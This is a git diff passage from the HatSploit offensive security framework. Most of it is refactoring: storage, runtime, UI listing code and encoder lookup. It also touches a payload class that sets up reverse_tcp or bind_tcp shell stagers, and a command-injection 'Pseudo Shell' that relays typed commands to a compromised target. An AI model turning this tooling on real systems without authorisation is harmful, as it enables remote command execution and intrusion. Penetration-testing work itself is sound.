-        self.badchars = BytesOption(None, "Bad characters to omit.", False, True)
-
-    def set(self, option: str, value: Optional[str] = None) -> bool:
-        """ Set payload option.
-
-        :param str option: option name
-        :param Optional[str] value: option value
-        :return bool: True if success else False
-        """
-
-        return Options().set_option(self, option, value)
-
-    def phase(self) -> Union[bytes, None]:
-        """ First phase.
-
-        :return bytes: bytes
-        """
-
-        type = self.details['Type']
-
-        if type not in ['reverse_tcp', 'bind_tcp']:
-            type = 'reverse_tcp'
-
-        phase = self.auto_pawn(
-            platform=self.details['Platform'],
-            arch=self.details['Arch'],
-            type=type
-        )
-
-        if phase:
-            if type == 'reverse_tcp':
-                phase.set('host', self.rhost.value)
-                phase.set('port', self.rport.value)
-
-            elif type == 'bind_tcp':
-                phase.set('port', self.rport.value)
-
-            return self.run_pawn(phase)
-
-    def run(self) -> None:
-        """ Run this payload.
-
-        :return None: None
-        """
-
-        pass
diff --git a/hatsploit/lib/blinder.py b/hatsploit/lib/pseudo.py
similarity index 64%
rename from hatsploit/lib/blinder.py
rename to hatsploit/lib/pseudo.py
index de45bfd38..a748770a7 100755
--- a/hatsploit/lib/blinder.py
+++ b/hatsploit/lib/pseudo.py
@@ -25,45 +25,36 @@
 from typing import Callable, Any
 from badges import Badges
 
-from pex.post import PostTools
 
-
-class Blinder(object):
+class Pseudo(Badges):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
-    an implementation of Blinder, blind command injection handler.
+    an implementation of Pseudo Shell, OS command injection handler.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.badges = Badges()
-        self.post_tools = PostTools()
-
     def shell(self, sender: Callable[..., Any]) -> None:
         """ Blinder shell, aka command handler.
 
         :param Callable sender: function via which Blinder sends commands
-        :param dict args: extra sender arguments
         :return None: None
         """
 
-        self.badges.print_empty()
-        self.badges.print_information("Welcome to Blinder, blind command injection handler.")
-        self.badges.print_information("Blinder is not a reverse shell, just a blind command injection.")
-        self.badges.print_empty()
+        self.print_empty()
+        self.print_information("Welcome to Pseudo Shell, OS command injection handler.")
+        self.print_information("Pseudo shell is not a reverse shell, just a straight command injection.")
+        self.print_empty()
 
         while True:
-            command = self.badges.input_empty("%lineblinder%end > ")
+            command = self.input_empty("%linepseudo%end % ")
 
             if not command.strip() or command == 'exit':
                 return
 
-            self.badges.print_process("Sending command to target...")
-            output = self.post_tools.post_payload(sender, command)
+            self.print_process("Sending command to target...")
+            output = sender(command)
 
             if output:
-                self.badges.print_empty(f'\n{output}')
+                self.print_empty(f'\n{output}')
 
-            self.badges.print_empty('')
+            self.print_empty()
diff --git a/hatsploit/lib/runtime.py b/hatsploit/lib/runtime.py
index 39431338c..982f70299 100755
--- a/hatsploit/lib/runtime.py
+++ b/hatsploit/lib/runtime.py
@@ -26,35 +26,30 @@
 import sys
 import traceback
 
-from typing import Callable, Any, Union
+from typing import (
+    Callable,
+    Any,
+    Union
+)
 
 from badges import Badges
 
 from hatsploit.core.base.loader import Loader
+
 from hatsploit.lib.config import Config
-from hatsploit.lib.jobs import Jobs
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.sessions import Sessions
+
+from hatsploit.lib.ui.jobs import Jobs
+from hatsploit.lib.ui.sessions import Sessions
 
 
-class Runtime(object):
+class Runtime(Jobs, Sessions, Loader):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     an API interface for HatSploit runtime handler.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.config = Config()
-        self.jobs = Jobs()
-        self.loot = Loot()
-        self.sessions = Sessions()
-
-        self.badges = Badges()
-        self.loader = Loader()
-
     def check(self) -> None:
         """ Check if HatSploit is set up correctly and
         fix it in case if problems.
@@ -63,15 +58,15 @@ def check(self) -> None:
         :raises RuntimeError: with trailing error message
         """
 
-        if os.path.exists(self.config.path_config['root_path']):
-            workspace = self.config.path_config['user_path']
-            loot = self.config.path_config['loot_path']
+        if os.path.exists(Config().path_config['root_path']):
+            workspace = Config().path_config['user_path']
+            loot = Config().path_config['loot_path']
 
             if not os.path.isdir(workspace):
                 os.mkdir(workspace)
 
             if not os.path.isdir(loot):
-                self.loot.create_loot()
+                Loot().create_loot()
 
         else:
             raise RuntimeError("HatSploit Framework is not installed!")
@@ -87,19 +82,19 @@ def start(self, build_base: bool = False, silent: bool = False) -> None:
         """
 
         try:
-            self.loader.load_all(build_base, silent)
+            self.load_all(build_base, silent)
         except Exception as e:
             raise RuntimeError(f"An error occured: {str(e)}")
 
-    def update(self) -> None:
+    def refresh(self) -> None:
         """ Update HatSploit states: stop dead jobs,
         close dead sessions.
 
         :return None: None
         """
 
-        self.jobs.stop_dead()
-        self.sessions.close_dead()
+        self.stop_dead()
+        self.close_dead()
 
     def catch(self, target: Callable[..., Any], args: list = []) -> Union[Any, None, Exception]:
         """ Catch exception and format error message.
@@ -117,13 +112,13 @@ def catch(self, target: Callable[..., Any], args: list = []) -> Union[Any, None,
             return
 
         except RuntimeError as e:
-            self.badges.print_error(str(e))
+            self.print_error(str(e))
 
         except RuntimeWarning as w:
-            self.badges.print_warning(str(w))
+            self.print_warning(str(w))
 
         except Exception as e:
-            self.badges.print_error(f"An error occurred: {str(e)}!")
-            traceback.print_stack(file=sys.stdout)
+            self.print_error(f"An error occurred: {str(e)}!")
+            traceback.print_exc(file=sys.stdout)
 
         return Exception
diff --git a/hatsploit/lib/show.py b/hatsploit/lib/show.py
deleted file mode 100755
index 2f1f30bee..000000000
--- a/hatsploit/lib/show.py
+++ /dev/null
@@ -1,791 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-from typing import Optional
-from textwrap import dedent
-
-from badges import Badges, Tables
-
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.jobs import Jobs
-from hatsploit.lib.loot import Loot
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.module import Module
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.plugins import Plugins
-from hatsploit.lib.sessions import Sessions
-from hatsploit.lib.storage import LocalStorage
-
-
-class Show(object):
-    """ Subclass of hatsploit.lib module.
-
-    This subclass of hatsploit.lib module is intended for providing
-    tools for showing different things.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.jobs = Jobs()
-        self.loot = Loot()
-        self.local_storage = LocalStorage()
-        self.modules = Modules()
-        self.payloads = Payloads()
-        self.plugins = Plugins()
-        self.encoders = Encoders()
-        self.sessions = Sessions()
-
-        self.tables = Tables()
-        self.badges = Badges()
-
-    def show_custom_commands(self, commands: dict) -> None:
-        """ Show custom commands.
-
-        Note: commands is a dictionary containing command names as keys and
-        command objects as items.
-
-        :param dict commands: commands
-        :return None: None
-        """
-
-        data = {}
-        headers = ("Command", "Description")
-
-        for command in sorted(commands):
-            data[commands[command].details['Category']] = []
-
-        for command in sorted(commands):
-            data[commands[command].details['Category']].append(
-                (command, commands[command].details['Description'])
-            )
-
-        for label in sorted(data):
-            self.tables.print_table(f"{label} Commands", headers, *data[label])
-
-    def show_interface_commands(self) -> None:
-        """ Show interface commands.
-
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not self.local_storage.get("commands"):
-            raise RuntimeWarning("No commands available.")
-
-        self.show_custom_commands(self.local_storage.get("commands"))
-
-    def show_plugin_commands(self, plugins: dict) -> None:
-        """ Show all plugins commands.
-
-        Note: plugins is a dictionary containing plugin names as keys and
-        plugin objects as items.
-
-        :param dict plugins: plugins
-        :return None: None
-        """
-
-        for plugin in plugins:
-            plugin = plugins[plugin]
-
-            if not hasattr(plugin, "commands"):
-                continue
-
-            data = {}
-            headers = ("Command", "Description")
-            commands = plugin.commands
-
-            for label in sorted(commands):
-                data[label] = []
-
-                for command in sorted(commands[label]):
-                    data[label].append(
-                        (command, commands[label][command]['Description'])
-                    )
-
-            for label in sorted(data):
-                self.tables.print_table(f"{label} Commands", headers, *data[label])
-
-    def show_module_commands(self, module: Module) -> None:
-        """ Show current module commands.
-
-        :param Module module: module object
-        :return None: None
-        """
-
-        if not hasattr(module, "commands"):
-            return
-
-        data = []
-        headers = ("Command", "Description")
-        commands = module.commands
-
-        for command in sorted(commands):
-            data.append(
-                (command, commands[command]['Description'])
-            )
-
-        self.tables.print_table("Module Commands", headers, *data)
-
-    def show_all_commands(self) -> None:
-        """ Show all commands.
-
-        :return None: None
-        """
-
-        self.show_interface_commands()
-
-        if self.modules.get_current_module():
-            self.show_module_commands(
-                self.modules.get_current_module())
-
-        if self.plugins.get_loaded_plugins():
-            self.show_plugin_commands(
-                self.plugins.get_loaded_plugins())
-
-    def show_jobs(self, jobs: dict) -> None:
-        """ Show active jobs.
-
-        :param dict jobs: dictionary of jobs, where job IDs are keys
-        and job objects are items
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not jobs:
-            raise RuntimeWarning("No running jobs available.")
-
-        data = []
-        headers = ("ID", "Name", "Module")
-
-        for job_id, job in jobs.items():
-            data.append(
-                (job_id, job['Name'], job['Module'])
-            )
-
-        self.tables.print_table("Active Jobs", headers, *data)
-
-    def show_sessions(self, sessions: dict) -> None:
-        """ Show opened sessions.
-
-        :param dict sessions: sessions dictionary, where session ID is a key
-        and session data is item
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not sessions:
-            raise RuntimeWarning("No opened sessions available.")
-
-        data = []
-        headers = ("ID", "Platform", "Arch", "Type", "Host", "Port")
-
-        for session_id, session in sessions.items():
-            data.append(
-                (session_id, session['Platform'], session['Arch'],
-                 session['Type'], session['Host'], session['Port'])
-            )
-
-        self.tables.print_table("Opened Sessions", headers, *data)
-
-    def show_loot(self, loot: list) -> None:
-        """ Show collected loot.
-
-        :param list loot: loot array
-        (array of tuples containing loot information)
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not loot:
-            raise RuntimeWarning("No loot collected yet.")
-
-        headers = ("Loot", "Path", "Time")
-        self.tables.print_table("Collected Loot", headers, *loot)
-
-    def show_module_databases(self, databases: dict) -> None:
-        """ Show connected module databases.
-
-        :param dict databases: module databases
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not databases:
-            raise RuntimeWarning("No module databases connected.")
-
-        data = []
-        number = 0
-        headers = ("Number", "Name", "Path")
-
-        for name in databases:
-            data.append(
-                (number, name, databases[name]['Path'])
-            )
-            number += 1
-
-        self.tables.print_table("Connected Module Databases", headers, *data)
-
-    def show_payload_databases(self, databases: dict) -> None:
-        """ Show connected payload databases.
-
-        :param dict databases: payload databases
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not databases:
-            raise RuntimeWarning("No payload databases connected.")
-
-        data = []
-        number = 0
-        headers = ("Number", "Name", "Path")
-
-        for name in databases:
-            data.append(
-                (number, name, databases[name]['Path'])
-            )
-            number += 1
-
-        self.tables.print_table("Connected Payload Databases", headers, *data)
-
-    def show_encoder_databases(self, databases: dict) -> None:
-        """ Show connected encoder databases.
-
-        :param dict databases: encoder databases
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not databases:
-            raise RuntimeWarning("No encoder databases connected.")
-
-        data = []
-        number = 0
-        headers = ("Number", "Name", "Path")
-
-        for name in databases:
-            data.append(
-                (number, name, databases[name]['Path'])
-            )
-            number += 1
-
-        self.tables.print_table("Connected Encoder Databases", headers, *data)
-
-    def show_plugin_databases(self, databases: dict) -> None:
-        """ Show connected plugin databases.
-
-        :param dict databases: plugin databases
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if not databases:
-            raise RuntimeWarning("No plugin databases connected.")
-
-        data = []
-        number = 0
-        headers = ("Number", "Name", "Path")
-
-        for name in databases:
-            data.append(
-                (number, name, databases[name]['Path'])
-            )
-            number += 1
-
-        self.tables.print_table("Connected Plugin Databases", headers, *data)
-
-    def show_loaded_plugins(self, plugins: dict) -> None:
-        """ Show loaded plugins.
-
-        :param dict plugins: dictionary of plugins, where plugin name is a key
-        and plugin object is an item
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        headers = ("Number", "Plugin", "Name")
-        shorts = {}
-        data = []
-        number = 0
-
-        for plugin in sorted(plugins):
-            data.append(
-                (number, plugin, plugin[plugin].details['Name'])
-            )
-
-            shorts.update({
-                number: plugin
-            })
-            number += 1
-
-        if not shorts:
-            raise RuntimeWarning("No plugins available.")
-
-        self.tables.print_table(f"Loaded Plugins", headers, *data)
-        self.local_storage.set("plugin_shorts", shorts)
-
-    def show_plugins(self, plugins: dict) -> None:
-        """ Show plugins.
-
-        :param dict plugins: dictionary of plugins, where plugin name is a key
-        and plugin data is an item
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        headers = ("Number", "Plugin", "Name")
-        shorts = {}
-        number = 0
-
-        for database in sorted(plugins):
-            db_plugins = plugins[database]
-            data = []
-
-            for plugin in sorted(db_plugins):
-                plugin = db_plugins[plugin]
-
-                data.append(
-                    (number, plugin['Plugin'], plugin['Name'])
-                )
-
-                shorts.update({
-                    number: plugin['Plugin']
-                })
-
-                number += 1
-
-            self.tables.print_table(f"Plugins ({database})", headers, *data)
-
-        if not shorts:
-            raise RuntimeWarning("No plugins available.")
-
-        self.local_storage.set("plugin_shorts", shorts)
-
-    def show_encoders(self, encoders: dict) -> None:
-        """ Show encoders.
-
-        :param dict encoders: dictionary of encoders, where encoder name is a key
-        and encoder data is an item
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        headers = ("Number", "Encoder", "Name")
-        shorts = {}
-        number = 0
-
-        for database in sorted(encoders):
-            db_encoders = encoders[database]
-            data = []
-
-            for encoder in sorted(db_encoders):
-                encoder = db_encoders[encoder]
-
-                data.append(
-                    (number, encoder['Encoder'], encoder['Name'])
-                )
-
-                shorts.update({
-                    number: encoder['Encoder']
-                })
-
-                number += 1
-
-            self.tables.print_table(f"Encoders ({database})", headers, *data)
-
-        if not shorts:
-            raise RuntimeWarning("No encoders available.")
-
-        self.local_storage.set("encoder_shorts", shorts)
-
-    def show_modules(self, modules: dict, category: Optional[str] = None) -> None:
-        """ Show modules by category.
-
-        :param dict modules: modules dictionary, module name as key and
-        module data as item
-        :param Optional[str] category: category
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        headers = ("Number", "Category", "Module", "Rank", "Name")
-        shorts = {}
-        number = 0
-
-        for database in sorted(modules):
-            db_modules = modules[database]
-            data = []
-
-            for module in sorted(db_modules):
-                module = db_modules[module]
-
-                if not category:
-                    data.append(
-                        (number, module['Category'], module['Module'],
-                         module['Rank'], module['Name'])
-                    )
-
-                    shorts.update(
-                        {number: module['Module']}
-                    )
-
-                    number += 1
-                    continue
-
-                if category == module['Category']:
-                    data.append(
-                        (number, module['Category'], module['Module'],
-                         module['Rank'], module['Name'])
-                    )
-
-                    shorts.update({
-                        number: module['Module']
-                    })
-
-                    number += 1
-
-            if category:
-                self.tables.print_table(f"{category.title()} Modules ({database})", headers, *data)
-            else:
-                self.tables.print_table(f"Modules ({database})", headers, *data)
-
-        if not shorts:
-            raise RuntimeWarning("No modules available.")
-
-        self.local_storage.set("module_shorts", shorts)
-
-    def show_payloads(self, payloads: dict) -> None:
-        """ Show payloads.
-
-        :param dict payloads: payloads dictionary, payload name as key
-        and payload data as item
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        headers = ("Number", "Payload", "Rank", "Name")
-        shorts = {}
-        number = 0
-
-        for database in sorted(payloads):
-            db_payloads = payloads[database]
-            data = []
-
-            for payload in sorted(db_payloads):
-                payload = db_payloads[payload]
-
-                data.append(
-                    (number, payload['Payload'], payload['Rank'],
-                     payload['Name'])
-                )
-
-                shorts.update({
-                    number: payload['Payload']
-                })
-
-                number += 1
-
-            self.tables.print_table(f"Payloads ({database})", headers, *data)
-
-        if not shorts:
-            raise RuntimeWarning("No payloads available.")
-
-        self.local_storage.set("payload_shorts", shorts)
-
-    def show_search_plugins(self, plugins: dict, keyword: str) -> None:
-        """ Show plugins that contain the keyword.
-
-        :param dict plugins: dictionary of plugins, where plugin name is a key
-        and plugin data is an item
-        :param str keyword: keyword
-        :return None: None
-        """
-
-        headers = ("Number", "Plugin", "Name")
-        shorts = {}
-        number = 0
-
-        for database in plugins:
-            db_plugins = plugins[database]
-            data = []
-
-            for plugin in sorted(db_plugins):
-                plugin = db_plugins[plugin]
-
-                if keyword not in plugin['Plugin'] + plugin['Name']:
-                    continue
-
-                data.append(
-                    (number, plugin['Plugin'].replace(keyword, f'%red{keyword}%end'),
-                     plugin['Name'].replace(keyword, f'%red{keyword}%end'))
-                )
-
-                shorts.update(
-                    {number: plugin['Plugin']}
-                )
-
-                number += 1
-
-            if data:
-                self.tables.print_table(f"Plugins ({database})", headers, *data)
-
-        if shorts:
-            self.local_storage.set("plugin_shorts", shorts)
-
-    def show_search_encoders(self, encoders: dict, keyword: str) -> None:
-        """ Show encoders that contain the keyword.
-
-        :param dict encoders: dictionary of encoders, where encoder name is a key
-        and encoder data is an item
-        :param str keyword: keyword
-        :return None: None
-        """
-
-        headers = ("Number", "Encoder", "Name")
-        shorts = {}
-        number = 0
-
-        for database in encoders:
-            db_encoders = encoders[database]
-            data = []
-
-            for encoder in sorted(db_encoders):
-                encoder = db_encoders[encoder]
-
-                if keyword not in encoder['Encoder'] + encoder['Name']:
-                    continue
-
-                data.append(
-                    (number, encoder['Encoder'].replace(keyword, f'%red{keyword}%end'),
-                     encoder['Name'].replace(keyword, f'%red{keyword}%end'))
-                )
-
-                shorts.update(
-                    {number: encoder['Encoder']}
-                )
-
-                number += 1
-
-            if data:
-                self.tables.print_table(f"Encoders ({database})", headers, *data)
-
-        if shorts:
-            self.local_storage.set("encoder_shorts", shorts)
-
-    def show_search_modules(self, modules: dict, keyword: str) -> None:
-        """ Show modules that contain the keyword.
-
-        :param dict modules: dictionary of modules, where module name is a key
-        and module data is an item
-        :param str keyword: keyword
-        :return None: None
-        """
-
-        headers = ("Number", "Category", "Module", "Rank", "Name")
-        shorts = {}
-        number = 0
-
-        for database in modules:
-            db_modules = modules[database]
-            data = []
-
-            for module in sorted(db_modules):
-                module = db_modules[module]
-
-                if keyword not in module['Module'] + module['Name']:
-                    continue
-
-                data.append(
-                    (number, module['Category'],
-                     module['Module'].replace(keyword, f'%red{keyword}%end'),
-                     module['Rank'],
-                     module['Name'].replace(keyword, f'%red{keyword}%end'))
-                )
-
-                shorts.update(
-                    {number: module['Module']}
-                )
-
-                number += 1
-
-            if data:
-                self.tables.print_table(f"Modules ({database})", headers, *data)
-
-        if shorts:
-            self.local_storage.set("module_shorts", shorts)
-
-    def show_search_payloads(self, payloads: dict, keyword: str) -> None:
-        """ Show payloads that contain the keyword.
-
-        :param dict payloads: dictionary of payloads, where payload name is a key
-        and payload data is an item
-        :param str keyword: keyword
-        :return None: None
-        """
-
-        headers = ("Number", "Module", "Rank", "Name")
-        shorts = {}
-        number = 0
-
-        for database in payloads:
-            db_payloads = payloads[database]
-            data = []
-
-            for payload in sorted(db_payloads):
-                payload = db_payloads[payload]
-
-                if keyword not in payload['Payload'] + payload['Name']:
-                    continue
-
-                data.append(
-                    (number,
-                     payload['Payload'].replace(keyword, f'%red{keyword}%end'),
-                     payload['Rank'],
-                     payload['Name'].replace(keyword, f'%red{keyword}%end'))
-                )
-
-                shorts.update(
-                    {number: payload['Payload']}
-                )
-
-                number += 1
-
-            if data:
-                self.tables.print_table(f"Payloads ({database})", headers, *data)
-
-        if shorts:
-            self.local_storage.set("payload_shorts", shorts)
-
-    def show_module_information(self, details: Optional[dict] = None) -> None:
-        """ Show module details.
-
-        :param Optional[dict] details: module details
-        :return None: None
-        """
-
-        if not details:
-            module = self.modules.get_current_module()
-            details = module.details
-
-        self.badges.print_empty(dedent(f"""
-            Category:    {details['Category']}
-            Name:        {details['Name']}
-            Module:      {details['Module']}
-            Description: {details['Description']}
-            Platform:    {str(details['Platform'])}
-            Rank:        {details['Rank']}
-        """))
-
-    def show_options_table(self, title: str, options: dict) -> None:
-        """ Show options for specific title.
-
-        :param str title: title
-        :param dict options: options, option names as keys and option data as
-        items
-        :return None: None
-        """
-
-        headers = ("Option", "Value", "Required", "Description")
-        data = []
-
-        for option in sorted(options):
-            if not options[option]['Visible']:
-                continue
-
-            value, required = options[option]['Value'], \
-                options[option]['Required']
-
-            required = "yes" if required else "no"
-            value = "" if value is None else value
-
-            if isinstance(value, bool):
-                value = "yes" if value else "no"
-
-            data.append(
-                (option, value, required,
-                 options[option]['Description'])
-            )
-
-        self.tables.print_table(title, headers, *data)
-
-    def show_options(self, module: Module) -> None:
-        """ Show options.
-
-        :param Module module: module object
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        payload = self.payloads.get_current_payload(module)
-
-        if not module:
-            raise RuntimeWarning("No module selected.")
-
-        if hasattr(module, "options"):
-            self.show_options_table(
-                f"Module Options ({module.details['Module']})", module.options)
-
-        if not payload:
-            return
-
-        encoder = self.encoders.get_current_encoder(module, payload)
-
-        if hasattr(payload, "options"):
-            self.show_options_table(
-                f"Payload Options ({payload.details['Payload']})", payload.options)
-
-        if encoder and hasattr(encoder, "options"):
-            self.show_options_table(
-                f"Encoder Options ({encoder.details['Encoder']})", encoder.options)
-
-    def show_advanced(self, module: Module) -> None:
-        """ Show advanced options.
-
-        :param Module module: module object
-        :return None: None
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        payload = self.payloads.get_current_payload(module)
-
-        if not module:
-            raise RuntimeWarning("No module selected.")
-
-        if hasattr(module, "advanced"):
-            self.show_options_table(
-                f"Module Advanced Options ({module.details['Module']})", module.advanced)
-
-        if not payload:
-            return
-
-        encoder = self.encoders.get_current_encoder(module, payload)
-
-        if hasattr(payload, "advanced"):
-            self.show_options_table(
-                f"Payload Advanced Options ({payload.details['Payload']})", payload.advanced)
-
-        if encoder and hasattr(encoder, "advanced"):
-            self.show_options_table(
-                f"Encoder Advanced Options ({encoder.details['Encoder']})", encoder.advanced)
diff --git a/hatsploit/lib/storage.py b/hatsploit/lib/storage.py
index 4b0c8584b..2ce59a0ce 100755
--- a/hatsploit/lib/storage.py
+++ b/hatsploit/lib/storage.py
@@ -45,8 +45,6 @@ def __init__(self, file: str) -> None:
         :return None: None
         """
 
-        super().__init__()
-
         self.file = file
 
     def set_all(self) -> None:
@@ -63,7 +61,7 @@ def set_all(self) -> None:
             elif key == 'less':
                 Badges().set_less(item)
             else:
-                LocalStorage().set(key, item)
+                STORAGE.set(key, item)
 
     def get_all(self) -> dict:
         """ Get all global storage variables as a dictionary.
@@ -129,21 +127,26 @@ class LocalStorage(object):
     is a general HatSploit storage that erases after HatSploit exits.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, value: dict = {}) -> None:
+        """ Initialize storage instance.
+
+        :param dict value: initial value
+        :return None: None
+        """
+
+        self.value = {}
+        self.value.update(value)
 
-    @staticmethod
-    def get_all() -> dict:
+    def get_all(self) -> dict:
         """ Return all local storage variables.
 
         :return dict: variables, variable names as keys and
         variable values as items
         """
 
-        return globals()
+        return self.value
 
-    @staticmethod
-    def set(name: str, value: Any) -> None:
+    def set(self, name: str, value: Any) -> None:
         """ Set local storage variable value.
 
         :param str name: variable name
@@ -151,7 +154,7 @@ def set(name: str, value: Any) -> None:
         :return None: None
         """
 
-        globals()[name] = value
+        self.value.update({name: value})
 
     def update(self, name: str, value: Any) -> None:
         """ Update local storage variable if it is a dictionary.
@@ -175,8 +178,7 @@ def delete_element(self, name: str, value: str, default: Any = None) -> Any:
 
         return self.get(name, {}).pop(value, default)
 
-    @staticmethod
-    def delete(name: str, default: Any = None) -> Any:
+    def delete(self, name: str, default: Any = None) -> Any:
         """ Delete variable from local storage.
 
         :param str name: variable name
@@ -184,10 +186,9 @@ def delete(name: str, default: Any = None) -> Any:
         :return Any: deleted variable's value
         """
 
-        return globals().pop(name, default)
+        return self.value.pop(name, default)
 
-    @staticmethod
-    def get(name: str, default: Any = None) -> Any:
+    def get(self, name: str, default: Any = None) -> Any:
         """ Get variable value from local storage.
 
         :param str name: variable name
@@ -195,4 +196,7 @@ def get(name: str, default: Any = None) -> Any:
         :return Any: variable value
         """
 
-        return globals().get(name, default)
+        return self.value.get(name, default)
+
+
+STORAGE = LocalStorage()
diff --git a/hatsploit/lib/ui/__init__.py b/hatsploit/lib/ui/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/hatsploit/lib/encoders.py b/hatsploit/lib/ui/encoders.py
similarity index 63%
rename from hatsploit/lib/encoders.py
rename to hatsploit/lib/ui/encoders.py
index e5127fd53..1e413d3a1 100755
--- a/hatsploit/lib/encoders.py
+++ b/hatsploit/lib/ui/encoders.py
@@ -22,16 +22,18 @@
 SOFTWARE.
 """
 
-from typing import Union, Optional
+import sys
+import traceback
 
-from hatsploit.lib.encoder import Encoder
-from hatsploit.lib.options import Options
-from hatsploit.lib.module import Module
-from hatsploit.lib.payload import Payload
+from typing import Union
 
-from hatsploit.core.db.importer import Importer
+from hatsploit.lib.core.encoder import Encoder
+from hatsploit.lib.core.module import Module
+from hatsploit.lib.core.payload import Payload
 
-from hatsploit.lib.storage import LocalStorage
+from hatsploit.core.db.db import DB
+
+from hatsploit.lib.storage import STORAGE
 
 
 class Encoders(object):
@@ -41,83 +43,53 @@ class Encoders(object):
     tools for working with HatSploit encoders.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.importer = Importer()
-        self.options = Options()
-        self.local_storage = LocalStorage()
-
-    def encoders_completer(self, text: str) -> list:
+    def encoders_completer(self) -> list:
         """ Tab-completion for encoders.
 
-        :param str text: text to complete
         :return list: list of completions
         """
 
-        encoders = self.get_encoders()
-        matches = []
-
-        if encoders:
-            for database in encoders:
-                for encoder in encoders[database]:
-                    if encoder.startswith(text):
-                        matches.append(encoder)
-
-        return matches
+        return {encoder: None for encoder in self.get_encoders()}
 
-    def get_encoders(self) -> dict:
+    @staticmethod
+    def get_encoders(criteria: dict = {}) -> dict:
         """ Get all encoders from local storage.
 
+        :param dict criteria: DB search criteria
         :return dict: encoders, encoder names as keys and
         encoder objects as items
         """
 
-        return self.local_storage.get("encoders", {})
+        return DB(table='encoders').dump(criteria=criteria)
 
-    def get_imported_encoders(self) -> dict:
+    @staticmethod
+    def get_imported_encoders() -> dict:
         """ Get all imported encoders from local storage.
 
         :return dict: encoders, encoder name as keys and
         encoder objects as items
         """
 
-        return self.local_storage.get("imported_encoders", {})
-
-    def get_database(self, encoder: str) -> str:
-        """ Get database in which specific encoder exists.
-
-        :param str encoder: encoder name
-        :return str: database name
-        """
+        return STORAGE.get("imported_encoders", {})
 
-        all_encoders = self.get_encoders()
-
-        if all_encoders:
-            for database in all_encoders:
-                encoders = all_encoders[database]
-
-                if encoder in encoders:
-                    return database
-
-        return ''
-
-    def get_encoder(self, encoder: str) -> Union[Encoder, None]:
+    @staticmethod
+    def get_encoder(encoder: str) -> Union[Encoder, None]:
         """ Import and get imported encoder.
 
         :param str encoder: encoder name
         :return Union[Encoder, None]: imported encoder, None if failed to import
         """
 
-        encoder_object = self.get_encoder_object(encoder)
-
         try:
-            imported_encoder = self.importer.import_encoder(encoder_object['Path'])
-            self.options.add_options(imported_encoder)
+            encoder_object = DB(table='encoders').load(
+                criteria={'BaseName': encoder}).get(encoder)
+            encoder_object.update()
+
         except Exception:
-            return None
+            traceback.print_exc(file=sys.stdout)
+            return
 
-        return imported_encoder
+        return encoder_object
 
     def get_encoder_object(self, encoder: str) -> dict:
         """ Get encoder object, this object represents encoder details
@@ -127,11 +99,25 @@ def get_encoder_object(self, encoder: str) -> dict:
         :return dict: encoder object, encoder details
         """
 
-        if self.check_exist(encoder):
-            database = self.get_database(encoder)
+        return self.get_encoders(
+            {'BaseName': encoder}).get(encoder, {})
 
-            return self.get_encoders()[database][encoder]
-        return {}
+    def get_payload_encoder(self, name: str, module: Module, payload: Payload) -> Union[Encoder, None]:
+        """ Get encoder associated with specific payload context.
+
+        :param str name: encoder name
+        :param Module module: module object
+        :param Payload payload: payload object
+        :return Union[Encoder, None]: encoder if exists
+        """
+
+        imported_encoders = self.get_imported_encoders()
+        module_name = module.info['Module']
+        payload_name = payload.info['Payload']
+
+        if imported_encoders and module_name in imported_encoders \
+                and payload_name in imported_encoders[module_name]:
+            return imported_encoders[module_name][payload_name].get(name, None)
 
     def get_current_encoder(self, module: Module, payload: Payload) -> Union[Encoder, None]:
         """ Get current encoder, this is encoder which is currently
@@ -142,16 +128,8 @@ def get_current_encoder(self, module: Module, payload: Payload) -> Union[Encoder
         :return Union[Encoder, None]: current encoder, None if no current encoder
         """
 
-        imported_encoders = self.get_imported_encoders()
-
